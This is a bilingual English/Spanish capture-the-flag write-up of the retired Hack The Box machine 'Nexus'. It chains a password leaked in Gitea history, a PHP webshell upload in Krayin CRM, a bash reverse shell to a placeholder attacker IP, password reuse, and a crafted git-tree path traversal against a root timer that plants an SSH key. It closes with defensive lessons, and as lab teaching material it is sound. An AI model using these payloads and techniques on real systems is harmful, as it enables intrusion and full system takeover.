Nexus
Executive summary — Nexus is a black-box Easy Linux box, with no starting credentials, solved through five tightly-chained phases. Subdomain fuzzing reveals two hidden apps —a Gitea and a Krayin CRM— and the key is that Gitea allows browsing public repos without authentication: one of them has a committed
.env, and although the currentHEADshows it "cleaned", the commit history still holds the original password. That credential works on the Krayin CRM admin login, which is vulnerable to an unrestricted upload (CVE-2026-38526, CVSS 9.9) in its TinyMCE editor: uploading a PHP webshell by simply faking theContent-Typegives RCE aswww-data. The server's real.envleaks another MySQL password that, through password reuse, also unlocks the OS account of userjones(USER). The final escalation abuses a custom systemd timer running as root that syncs Gitea "template repos": the script doesn't sanitise the filenames coming out ofgit ls-tree -r, so a hand-crafted git tree with entries literally named..produces a path traversal that writes an SSH key into root'sauthorized_keys(ROOT). Path: Gitea (secret in history) -> Krayin RCE -> jones (password reuse) -> path traversal in root timer -> SSH root.
| Platform | Hack The Box |
| Operating system | Linux (Ubuntu) |
| Difficulty | Easy |
| Status | Retired |
| Target IP | 10.129.234.54 |
Attack map
[80/HTTP] nexus.htb (static) -> subdomain (vhost) fuzzing
| git.nexus.htb (Gitea) + billing.nexus.htb (Krayin CRM)
v
[Gitea] commit history -> leaked DB_PASSWORD (HEAD clean, history isn't)
| j.matthew@nexus.htb : N27xh!!2ucY04
v
[Krayin CRM] admin login -> CVE-2026-38526 (unrestricted TinyMCE upload) -> RCE
v
[SHELL] www-data -> real .env -> reused MySQL password
v
[jones] (user.txt)
| gitea-template-sync.timer (root, every minute) -> path traversal in ls-tree -r
v
[ROOT] arbitrary write to root's authorized_keys -> SSH root (root.txt)
1. Reconnaissance and hidden subdomain discovery
nmap -sC -sV -T4 10.129.234.54
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://nexus.htb/
An nmap -p- --min-rate 3000 confirms that only 22 and 80 are open across the whole range. We map the name and browse the site:
echo "10.129.234.54 nexus.htb" | sudo tee -a /etc/hosts
http://nexus.htb/ is a static corporate site (a single page, no forms, no backend). Directory fuzzing with raft-medium-directories.txt yields nothing. The only useful data in the HTML are two emails: careers@nexus.htb and j.matthew@nexus.htb —a possibly valid username on other systems.
Why fuzz subdomains: with no more visible surface on the main site, the logical next step is testing whether the server responds differently based on the
Host:header (virtual hosting). We first need to filter out nginx's catch-all response size to avoid drowning in false positives.
BASESIZE=$(curl -s -o /dev/null -w "%{size_download}" \
-H "Host: zzznonexistent999.nexus.htb" http://10.129.234.54/)
ffuf -u http://10.129.234.54/ -H "Host: FUZZ.nexus.htb" \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
-fs "$BASESIZE" -mc all -t 60
git [Status: 200, Size: 14474]
billing [Status: 302, Size: 390] -> Location: http://billing.nexus.htb/admin/login
echo "10.129.234.54 git.nexus.htb billing.nexus.htb" | sudo tee -a /etc/hosts
git.nexus.htb is a Gitea instance (cookie i_like_gitea). billing.nexus.htb redirects to /admin/login with cookies krayin_crm_session and XSRF-TOKEN: a Krayin CRM (built on Laravel).
Resumen ejecutivo — Nexus es un Linux Easy de caja negra, sin credenciales de partida, resuelto en cinco fases muy encadenadas. El fuzzing de subdominios revela dos aplicaciones ocultas —un Gitea y un Krayin CRM— y la clave esta en que Gitea permite explorar repos publicos sin autenticacion: uno de ellos tiene el
.envcommitteado directamente, y aunque elHEADactual lo muestra "limpio", el historial de commits conserva la contraseña original. Esa credencial sirve para el login admin de Krayin CRM, que es vulnerable a un upload sin restricciones (CVE-2026-38526, CVSS 9.9) en su editor TinyMCE: sube una webshell PHP con solo falsear elContent-Typey da RCE comowww-data. El.envreal del servidor filtra otra contraseña de MySQL que, por reutilizacion, tambien abre la cuenta del sistema del usuariojones(USER). La escalada final abusa de un timer de systemd personalizado que corre como root y sincroniza "repos plantilla" de Gitea: el script no sanea los nombres de fichero que salen degit ls-tree -r, asi que un arbol git construido a mano con entradas llamadas..produce un path traversal que escribe una clave SSH en elauthorized_keysde root (ROOT). Recorrido Gitea (secreto en historial) -> Krayin RCE -> jones (reutilizacion) -> path traversal en timer root -> SSH root.
| Plataforma | Hack The Box |
| Sistema operativo | Linux (Ubuntu) |
| Dificultad | Easy |
| Estado | Retired |
| IP objetivo | 10.129.234.54 |
Mapa del ataque
[80/HTTP] nexus.htb (estatico) -> fuzzing de subdominios (vhost)
| git.nexus.htb (Gitea) + billing.nexus.htb (Krayin CRM)
v
[Gitea] historial de commits -> DB_PASSWORD filtrada (HEAD limpio, historial no)
| j.matthew@nexus.htb : N27xh!!2ucY04
v
[Krayin CRM] login admin -> CVE-2026-38526 (upload sin restriccion en TinyMCE) -> RCE
v
[SHELL] www-data -> .env real -> password de MySQL reutilizada
v
[jones] (user.txt)
| gitea-template-sync.timer (root, cada minuto) -> path traversal en ls-tree -r
v
[ROOT] escritura arbitraria en authorized_keys de root -> SSH root (root.txt)
1. Reconocimiento y descubrimiento de subdominios ocultos
nmap -sC -sV -T4 10.129.234.54
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://nexus.htb/
Un nmap -p- --min-rate 3000 confirma que solo 22 y 80 estan abiertos en todo el rango. Mapeamos el nombre y visitamos la web:
echo "10.129.234.54 nexus.htb" | sudo tee -a /etc/hosts
http://nexus.htb/ es un sitio corporativo estatico (una sola pagina, sin formularios ni backend). El fuzzing de directorios con raft-medium-directories.txt no da nada. Lo unico util del HTML son dos correos: careers@nexus.htb y j.matthew@nexus.htb —un posible usuario valido en otros sistemas.
Por que fuzzear subdominios: sin mas superficie visible en la web principal, el siguiente paso logico es probar si el servidor responde distinto segun la cabecera
Host:(virtual hosting). Hay que filtrar primero el tamaño de respuesta del catch-all de nginx para no ahogarnos en falsos positivos.
BASESIZE=$(curl -s -o /dev/null -w "%{size_download}" \
-H "Host: zzznonexistent999.nexus.htb" http://10.129.234.54/)
ffuf -u http://10.129.234.54/ -H "Host: FUZZ.nexus.htb" \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
-fs "$BASESIZE" -mc all -t 60
git [Status: 200, Size: 14474]
billing [Status: 302, Size: 390] -> Location: http://billing.nexus.htb/admin/login
echo "10.129.234.54 git.nexus.htb billing.nexus.htb" | sudo tee -a /etc/hosts
git.nexus.htb es una instancia de Gitea (cookie i_like_gitea). billing.nexus.htb redirige a /admin/login con cookies krayin_crm_session y XSRF-TOKEN: es un Krayin CRM (sobre Laravel).
2. Secret in Gitea history -> Krayin CRM login
Gitea allows browsing public repos without authentication (/explore/repos). One stands out, admin/krayin-docker-setup, which has an .env and a docker-compose.yml committed directly —a classic bad practice. The current HEAD shows empty values (APP_KEY=, DB_PASSWORD=): someone "cleaned" them after noticing the leak. But the history still holds the original version:
curl -s http://git.nexus.htb/admin/krayin-docker-setup/commits/branch/main
# two commits: 1615c465... and 9b817fa4...
curl -s "http://git.nexus.htb/admin/krayin-docker-setup/raw/commit/1615c465b74e5d7ad3162873382dd8b3869ca892/.env"
DB_CONNECTION=mysql
DB_HOST=krayin-mysql
DB_DATABASE=krayin
DB_USERNAME=krayin
DB_PASSWORD=N27xh!!2ucY04 <-- plaintext password
Key concept: in git, "deleting" a secret in a later commit does not remove it —the blob remains reachable by its hash and through the old commits. Cleaning
HEADwithout rewriting history (git filter-repo/BFG) or rotating the credential accomplishes nothing.
We test that password against Krayin's login (POST /admin/login with email + password + CSRF _token), trying different candidate emails:
curl -s -i -b cookies.txt http://billing.nexus.htb/admin/login \
-d "_token=$TOKEN" -d "email=j.matthew@nexus.htb" -d "password=N27xh!!2ucY04"
# admin@example.com -> 302 back to /admin/login (fail)
# j.matthew@nexus.htb -> 302 Location: /admin/dashboard (success)
Password reused between the DB leaked in history and the web admin account -> full admin access to Krayin CRM.
3. RCE in Krayin CRM (CVE-2026-38526) -> www-data shell
Once authenticated, we identify Krayin CRM v2.2.0 (visible in /admin/configuration and in the phpdebugbar panel, active in production —APP_DEBUG=true— which also leaks server paths like /var/www/krayin/packages/Webkul/Admin/src/Http/Controllers/User/AccountController.php).
CVE-2026-38526 (CVSS 9.9) is an unrestricted file upload in the TinyMCE media endpoint (POST /admin/tinymce/upload): an authenticated user can upload a .php file by simply faking the multipart part's Content-Type.
cat > webshell.php <<'EOF'
<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>
EOF
curl -s -i -b krayin_cookies.txt http://billing.nexus.htb/admin/tinymce/upload \
-H "X-CSRF-TOKEN: $TOKEN" \
-F "file=@webshell.php;type=image/png"
{"location":"http:\/\/billing.nexus.htb\/storage\/tinymce\/ddce582e926f1cd5d5f802e6e136d489.php"}
There's no real type validation: the client-declared Content-Type is enough to accept the file, which is stored under storage/tinymce/ and served by nginx as executable PHP:
curl -s "http://billing.nexus.htb/storage/tinymce/ddce582e926f1cd5d5f802e6e136d489.php?cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
Reverse shell with listener nc -lvnp 4447:
curl -s "http://billing.nexus.htb/storage/tinymce/ddce582e926f1cd5d5f802e6e136d489.php" -G \
--data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/4447 0>&1' &"
www-data@nexus:~/krayin/storage/app/public/tinymce$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
We stabilise with python3 -c 'import pty; pty.spawn("/bin/bash")'.
4. user.txt — password reuse -> su jones
The server's real .env (different from the one leaked in the repo, with updated credentials) is readable by www-data:
cat /var/www/krayin/.env
APP_KEY=base64:n4swv+4YcBtCr1OPHBe69GxK06/X1y1vCQU1SIMIC7Q=
DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_DATABASE=krayin
DB_USERNAME=krayin
DB_PASSWORD=y27xb3ha!!74GbR
/etc/passwd shows two real users with a shell: root and jones (plus git, which runs Gitea). Krayin's users table only holds j.matthew's bcrypt hash (already known), so we try the DB password directly against jones —reuse, for the third time:
echo 'y27xb3ha!!74GbR' | su jones -c 'id'
# uid=1000(jones) gid=1000(jones) groups=1000(jones),100(users)
cat /home/jones/user.txt
sudo -l grants nothing. No SSH keys, no unusual SUID/capabilities, no accessible personal crontab —time to look at system automation.
5. root.txt — path traversal in a Gitea "template" sync timer
5.1 Discovering the timer and the script
systemctl list-timers --all
NEXT LEFT LAST PASSED UNIT ACTIVATES
Sun ... 10:54:25 UTC 42s Sun ... 10:53:25 UTC 17s ago gitea-template-sync.timer gitea-template-sync.service
A custom timer firing every minute, unrelated to standard packages:
systemctl cat gitea-template-sync.service gitea-template-sync.timer
# gitea-template-sync.service
[Service]
Type=oneshot
User=root
ExecStart=/usr/bin/python3 /etc/gitea/template-sync.py
TimeoutStartSec=50s
# gitea-template-sync.timer
[Timer]
OnBootSec=1min
OnUnitActiveSec=1min
It runs as root. The script, /etc/gitea/template-sync.py, is readable by jones and, in essence: asks the Gitea API (GET /api/v1/repos/search) for repos flagged as "template": true, and for each one runs git ls-tree -r HEAD against the bare repo (/var/lib/gitea/data/gitea-repositories/<owner>/<repo>.git). For each tree entry it dumps the blob with git cat-file blob and writes the content to STAGING_DIR/<owner>/<repo>/<filepath> using os.path.join() without sanitising or normalising filepath.
The bug: any Gitea user can flag their own repo as a "Template Repository" —this doesn't require instance-admin. Root's script iterates every minute over every template repo and writes its files with
os.path.join()without checking that the result stays insidestage_path. Iffilepathcontains.., we get arbitrary write as root.
The subtlety: the traversal isn't in the content or in an HTTP parameter —it's in the filename inside the git tree. And git allows a tree entry to be named
..if you build the tree with low-level plumbing (notgit add, which rejects it). That's the trick in section 5.3.
5.2 Logging into Gitea as jones (same reused password)
curl -s -i -b cookies.txt http://git.nexus.htb/user/login \
-d "user_name=jones" -d "password=y27xb3ha!!74GbR"
# "Signed in as jones"
This Gitea instance doesn't require an explicit CSRF token in the body; it relies on
SameSite=Lax, so a same-origin request like this one goes through.
jones isn't site-admin (403 at /-/admin), but can create repos and flag them as templates:
curl -s -i -b cookies.txt http://git.nexus.htb/repo/create \
-d "uid=2" -d "repo_name=testrepo1" -d "auto_init=true" -d "default_branch=main"
# -> /jones/testrepo1
curl -s -i -b cookies.txt http://git.nexus.htb/jones/testrepo1/settings \
-d "action=update" -d "repo_name=testrepo1" -d "template=on"
(We first checked whether Gitea Actions had active runners —a CI/CD path would be more direct—, but Runners Management (Total: 0), ruled out.)
5.3 Building a git tree whose ls-tree -r produces the traversal path
STAGING_DIR/jones/testrepo1 is /home/git/template-staging/jones/testrepo1 —5 levels from /. For the final path to resolve to /root/.ssh/authorized_keys we need ../../../../../root/.ssh/authorized_keys (5 x ..). git ls-tree -r generates that chain by walking nested trees, so we build by hand, using plumbing (hash-object, mktree, commit-tree), a chain of 5 trees whose only entry at each level is literally named .., ending in the real root/.ssh/authorized_keys structure:
set +H # IMPORTANT: prevents bash from expanding the password's "!!" as history
cd /tmp && mkdir traversal_repo && cd traversal_repo
git init -q
git config user.email "jones@nexus.htb"; git config user.name jones
echo "ssh-ed25519 AAAA...kali@kali" > authkey.txt
BLOB=$(git hash-object -w authkey.txt)
SSH_TREE=$(printf "100644 blob %s\tauthorized_keys\n" "$BLOB" | git mktree)
ROOT_TREE=$(printf "040000 tree %s\t.ssh\n" "$SSH_TREE" | git mktree)
CUR=$(printf "040000 tree %s\troot\n" "$ROOT_TREE" | git mktree)
for i in 1 2 3 4 5; do
CUR=$(printf "040000 tree %s\t..\n" "$CUR" | git mktree)
done
HEAD_TREE=$CUR
COMMIT=$(git commit-tree "$HEAD_TREE" -m "template sync payload")
git ls-tree -r "$COMMIT"
# 100644 blob <hash> ../../../../../root/.ssh/authorized_keys <-- confirmed
We push the commit as the HEAD of the template repo, against Gitea's internal port (localhost:3000):
git push http://jones:y27xb3ha!!74GbR@localhost:3000/jones/testrepo1.git \
"$COMMIT":refs/heads/main --force
5.4 Waiting for the timer and confirming
tail -f /var/log/template-sync.log
[...10:56:25] Found 1 template repo(s)
[...10:56:25] synced: README.md <- previous cycle, before the push
[...10:57:25] Found 1 template repo(s)
[...10:57:25] synced: ../../../../../root/.ssh/authorized_keys <- arbitrary write as root
ssh -i ~/.ssh/id_rsa root@nexus.htb 'id; cat /root/root.txt'
# uid=0(root) gid=0(root) groups=0(root)
System fully compromised. 🏴☠️
Vulnerability summary
| Phase | Component | Vulnerability | Impact |
|---|---|---|---|
| Info | Gitea repo admin/krayin-docker-setup | DB_PASSWORD committed in plaintext and preserved in history despite being "cleaned" on HEAD | Leak of a reusable credential |
| RCE | Krayin CRM v2.2.0 — POST /admin/tinymce/upload | CVE-2026-38526: upload validation trusts the client's Content-Type, not the real content | Authenticated RCE as www-data |
| Lateral | /var/www/krayin/.env readable by www-data | Password reuse: the production MySQL password is also the OS password for jones and their Gitea account | Lateral move www-data -> real user |
| PrivEsc | /etc/gitea/template-sync.py (root, timer every minute) | Path traversal: filenames from git ls-tree -r HEAD of any user's "template" repo used in os.path.join() without sanitising | Arbitrary write as root |
Lessons learned
- Git history remembers: never commit an
.env, not even "cleaned" afterwards —history keeps everything. Add a.gitignorefrom the first commit; after a leak, rotate the credential and rewrite history (git filter-repo/BFG), not just HEAD. - Validate uploads by real content (magic bytes / re-encoding images), never by client-declared
Content-Typeor extension. - Don't reuse passwords across the app (
.env, DB) and OS accounts —it's the first thing tried after any RCE. - Always sanitise paths derived from external data (here, filenames from another user's git tree). Any automation that writes to disk with elevated privileges must verify the resolved destination still lies within the expected directory before writing, e.g. with
os.path.realpath()checked against the base directory.
2. Secreto en el historial de Gitea -> login en Krayin CRM
Gitea permite explorar repos publicos sin autenticacion (/explore/repos). Aparece uno revelador, admin/krayin-docker-setup, que contiene un .env y un docker-compose.yml committeados directamente —una mala practica clasica. En el HEAD actual los valores estan vacios (APP_KEY=, DB_PASSWORD=): alguien los "limpio" despues de darse cuenta de la filtracion. Pero el historial conserva la version original:
curl -s http://git.nexus.htb/admin/krayin-docker-setup/commits/branch/main
# dos commits: 1615c465... y 9b817fa4...
curl -s "http://git.nexus.htb/admin/krayin-docker-setup/raw/commit/1615c465b74e5d7ad3162873382dd8b3869ca892/.env"
DB_CONNECTION=mysql
DB_HOST=krayin-mysql
DB_DATABASE=krayin
DB_USERNAME=krayin
DB_PASSWORD=N27xh!!2ucY04 <-- contraseña en texto plano
Concepto clave: en git, "borrar" un secreto en un commit posterior no lo elimina —el blob sigue accesible por su hash y por los commits antiguos. Limpiar el
HEADsin reescribir el historial (git filter-repo/BFG) ni rotar la credencial no sirve de nada.
Probamos esa contraseña contra el login de Krayin (POST /admin/login con email + password + _token CSRF), con distintos correos candidatos:
curl -s -i -b cookies.txt http://billing.nexus.htb/admin/login \
-d "_token=$TOKEN" -d "email=j.matthew@nexus.htb" -d "password=N27xh!!2ucY04"
# admin@example.com -> 302 de vuelta a /admin/login (fallo)
# j.matthew@nexus.htb -> 302 Location: /admin/dashboard (exito)
Contraseña reutilizada entre la BD filtrada en el historial y la cuenta admin web -> acceso admin completo a Krayin CRM.
3. RCE en Krayin CRM (CVE-2026-38526) -> shell www-data
Ya autenticados, identificamos Krayin CRM v2.2.0 (visible en /admin/configuration y en el panel phpdebugbar, activo en produccion —APP_DEBUG=true— que ademas filtra rutas del servidor como /var/www/krayin/packages/Webkul/Admin/src/Http/Controllers/User/AccountController.php).
CVE-2026-38526 (CVSS 9.9) es una subida de archivos sin restricciones en el endpoint de medios de TinyMCE (POST /admin/tinymce/upload): un usuario autenticado puede subir un .php con solo falsificar el Content-Type de la parte multipart.
cat > webshell.php <<'EOF'
<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>
EOF
curl -s -i -b krayin_cookies.txt http://billing.nexus.htb/admin/tinymce/upload \
-H "X-CSRF-TOKEN: $TOKEN" \
-F "file=@webshell.php;type=image/png"
{"location":"http:\/\/billing.nexus.htb\/storage\/tinymce\/ddce582e926f1cd5d5f802e6e136d489.php"}
No hay validacion real de tipo: el Content-Type declarado por el cliente basta para aceptar el archivo, que se guarda en storage/tinymce/ y nginx lo sirve como PHP ejecutable:
curl -s "http://billing.nexus.htb/storage/tinymce/ddce582e926f1cd5d5f802e6e136d489.php?cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
Reverse shell con listener nc -lvnp 4447:
curl -s "http://billing.nexus.htb/storage/tinymce/ddce582e926f1cd5d5f802e6e136d489.php" -G \
--data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/4447 0>&1' &"
www-data@nexus:~/krayin/storage/app/public/tinymce$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Estabilizamos con python3 -c 'import pty; pty.spawn("/bin/bash")'.
4. user.txt — reutilizacion de contraseña -> su jones
El .env real del servidor (distinto del que filtro en el repo, con credenciales actualizadas) es legible por www-data:
cat /var/www/krayin/.env
APP_KEY=base64:n4swv+4YcBtCr1OPHBe69GxK06/X1y1vCQU1SIMIC7Q=
DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_DATABASE=krayin
DB_USERNAME=krayin
DB_PASSWORD=y27xb3ha!!74GbR
/etc/passwd muestra dos usuarios reales con shell: root y jones (mas git, que corre Gitea). La tabla users de Krayin solo tiene el hash bcrypt de j.matthew (ya conocido), asi que probamos la contraseña de la BD directamente contra jones —reutilizacion, tercera vez:
echo 'y27xb3ha!!74GbR' | su jones -c 'id'
# uid=1000(jones) gid=1000(jones) groups=1000(jones),100(users)
cat /home/jones/user.txt
sudo -l no da permisos. Sin claves SSH, sin SUID/capabilities raras, sin crontab personal accesible —toca buscar automatismos del sistema.
5. root.txt — path traversal en un timer de sincronizacion de "plantillas" Gitea
5.1 Descubrimiento del timer y del script
systemctl list-timers --all
NEXT LEFT LAST PASSED UNIT ACTIVATES
Sun ... 10:54:25 UTC 42s Sun ... 10:53:25 UTC 17s ago gitea-template-sync.timer gitea-template-sync.service
Un timer personalizado cada minuto, ajeno a paquetes estandar:
systemctl cat gitea-template-sync.service gitea-template-sync.timer
# gitea-template-sync.service
[Service]
Type=oneshot
User=root
ExecStart=/usr/bin/python3 /etc/gitea/template-sync.py
TimeoutStartSec=50s
# gitea-template-sync.timer
[Timer]
OnBootSec=1min
OnUnitActiveSec=1min
Corre como root. El script, /etc/gitea/template-sync.py, es legible por jones y hace esto en esencia: pide a la API de Gitea (GET /api/v1/repos/search) los repos marcados como "template": true, y por cada uno ejecuta git ls-tree -r HEAD sobre el repo bare (/var/lib/gitea/data/gitea-repositories/<owner>/<repo>.git). Por cada entrada del arbol vuelca el blob con git cat-file blob y escribe el contenido en STAGING_DIR/<owner>/<repo>/<filepath> usando os.path.join() sin sanear ni normalizar filepath.
El bug: cualquier usuario de Gitea puede marcar su propio repo como "Template Repository" —no requiere ser admin de la instancia. El script de root itera cada minuto todos los repos-plantilla y escribe sus ficheros con
os.path.join()sin verificar que el resultado siga dentro destage_path. Sifilepathcontiene.., hay escritura arbitraria como root.
La sutileza: el traversal no va en el contenido ni en un parametro HTTP —va en el nombre de archivo dentro del arbol git. Y git permite que una entrada de arbol se llame
..si construyes el arbol con plumbing de bajo nivel (no congit add, que lo rechaza). Ahi esta el truco del apartado 5.3.
5.2 Login en Gitea como jones (misma contraseña reutilizada)
curl -s -i -b cookies.txt http://git.nexus.htb/user/login \
-d "user_name=jones" -d "password=y27xb3ha!!74GbR"
# "Signed in as jones"
Esta Gitea no exige token CSRF explicito en el body; se apoya en
SameSite=Lax, asi que una peticion same-origin como esta pasa.
jones no es site-admin (403 en /-/admin), pero puede crear repos y marcarlos como plantilla:
curl -s -i -b cookies.txt http://git.nexus.htb/repo/create \
-d "uid=2" -d "repo_name=testrepo1" -d "auto_init=true" -d "default_branch=main"
# -> /jones/testrepo1
curl -s -i -b cookies.txt http://git.nexus.htb/jones/testrepo1/settings \
-d "action=update" -d "repo_name=testrepo1" -d "template=on"
(Antes se comprobo si Gitea Actions tenia runners activos —via CI/CD seria mas directo—, pero Runners Management (Total: 0), descartado.)
5.3 Construir un arbol git cuyo ls-tree -r produzca la ruta con traversal
STAGING_DIR/jones/testrepo1 es /home/git/template-staging/jones/testrepo1 —5 niveles desde /. Para que la ruta final resuelva a /root/.ssh/authorized_keys hacen falta ../../../../../root/.ssh/authorized_keys (5 x ..). git ls-tree -r genera esa cadena recorriendo arboles anidados, asi que construimos a mano, con plumbing (hash-object, mktree, commit-tree), una cadena de 5 arboles cuya unica entrada en cada nivel se llama literalmente .., terminando en la estructura real root/.ssh/authorized_keys:
set +H # IMPORTANTE: evita que bash expanda "!!" de la contraseña como historial
cd /tmp && mkdir traversal_repo && cd traversal_repo
git init -q
git config user.email "jones@nexus.htb"; git config user.name jones
echo "ssh-ed25519 AAAA...kali@kali" > authkey.txt
BLOB=$(git hash-object -w authkey.txt)
SSH_TREE=$(printf "100644 blob %s\tauthorized_keys\n" "$BLOB" | git mktree)
ROOT_TREE=$(printf "040000 tree %s\t.ssh\n" "$SSH_TREE" | git mktree)
CUR=$(printf "040000 tree %s\troot\n" "$ROOT_TREE" | git mktree)
for i in 1 2 3 4 5; do
CUR=$(printf "040000 tree %s\t..\n" "$CUR" | git mktree)
done
HEAD_TREE=$CUR
COMMIT=$(git commit-tree "$HEAD_TREE" -m "template sync payload")
git ls-tree -r "$COMMIT"
# 100644 blob <hash> ../../../../../root/.ssh/authorized_keys <-- confirmado
Empujamos el commit como HEAD del repo-plantilla contra el puerto interno de Gitea (localhost:3000):
git push http://jones:y27xb3ha!!74GbR@localhost:3000/jones/testrepo1.git \
"$COMMIT":refs/heads/main --force
5.4 Esperar el timer y confirmar
tail -f /var/log/template-sync.log
[...10:56:25] Found 1 template repo(s)
[...10:56:25] synced: README.md <- ciclo previo al push
[...10:57:25] Found 1 template repo(s)
[...10:57:25] synced: ../../../../../root/.ssh/authorized_keys <- escritura arbitraria como root
ssh -i ~/.ssh/id_rsa root@nexus.htb 'id; cat /root/root.txt'
# uid=0(root) gid=0(root) groups=0(root)
Sistema comprometido por completo. 🏴☠️
Resumen de vulnerabilidades
| Fase | Componente | Vulnerabilidad | Impacto |
|---|---|---|---|
| Info | Repo Gitea admin/krayin-docker-setup | DB_PASSWORD committeado en claro y conservado en el historial pese a "limpiarse" en el HEAD | Filtracion de credencial reutilizable |
| RCE | Krayin CRM v2.2.0 — POST /admin/tinymce/upload | CVE-2026-38526: la validacion del upload confia en el Content-Type del cliente, no en el contenido real | RCE autenticada como www-data |
| Lateral | /var/www/krayin/.env legible por www-data | Reutilizacion de contraseñas: el password de MySQL de produccion es tambien el del sistema (jones) y su cuenta Gitea | Movimiento lateral www-data -> usuario real |
| PrivEsc | /etc/gitea/template-sync.py (root, timer cada minuto) | Path traversal: nombres de fichero de git ls-tree -r HEAD de cualquier repo "template" de cualquier usuario usados en os.path.join() sin sanear | Escritura arbitraria como root |
Lecciones aprendidas
- El historial de git recuerda: nunca commitees un
.env, ni "limpiado" despues —el historial guarda todo..gitignoredesde el primer commit; ante una filtracion, rota la credencial y reescribe el historial (git filter-repo/BFG), no solo el HEAD. - Valida uploads por contenido real (magic bytes / re-encode de imagenes), nunca por
Content-Typeni extension declarados por el cliente. - No reutilices contraseñas entre la app (
.env, BD) y las cuentas del sistema operativo —es lo primero que se prueba tras cualquier RCE. - Sanea siempre las rutas derivadas de datos externos (aqui, nombres de fichero de un arbol git de otro usuario). Toda automatizacion que escriba en disco con privilegios elevados debe verificar que el destino resuelto sigue dentro del directorio esperado antes de escribir, p. ej. con
os.path.realpath()comparado contra el directorio base.